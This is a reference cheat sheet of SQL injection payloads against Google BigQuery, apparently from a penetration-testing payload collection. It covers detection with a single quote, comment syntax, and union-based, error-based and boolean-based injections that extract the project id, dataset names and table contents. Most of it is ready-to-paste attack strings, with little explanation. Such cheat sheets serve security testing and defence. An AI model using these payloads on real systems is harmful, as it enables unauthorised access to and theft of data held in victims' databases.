Google BigQuery SQL Injection

Summary

• Detection
• BigQuery Comment
• BigQuery Union Based
• BigQuery Error Based
• BigQuery Boolean Based
• BigQuery Time Based
• References

Detection

• Use a classic single quote to trigger an error: '
• Identify BigQuery using backtick notation: SELECT .... FROM `` AS ...

# Gathering project id
select @@project_id

# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA

# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`

BigQuery Comment

select 1#from here it is not working
select 1/*between those it is not working*/

BigQuery Union Based

UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

BigQuery Error Based

# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '

# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#

BigQuery Boolean Based

' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

BigQuery Time Based

• Time based functions does not exist in the BigQuery syntax.

References

• BigQuery SQL Injection Cheat Sheet - Ozgur Alp - Feb 14
• BigQuery Documentation - Query Syntax
• BigQuery Documentation - Functions and Operators
• Akamai Web Application Firewall Bypass Journey: Exploiting “Google BigQuery” SQL Injection Vulnerability - By Duc Nguyen The, March 31, 2020

---

Last update: August 30, 2022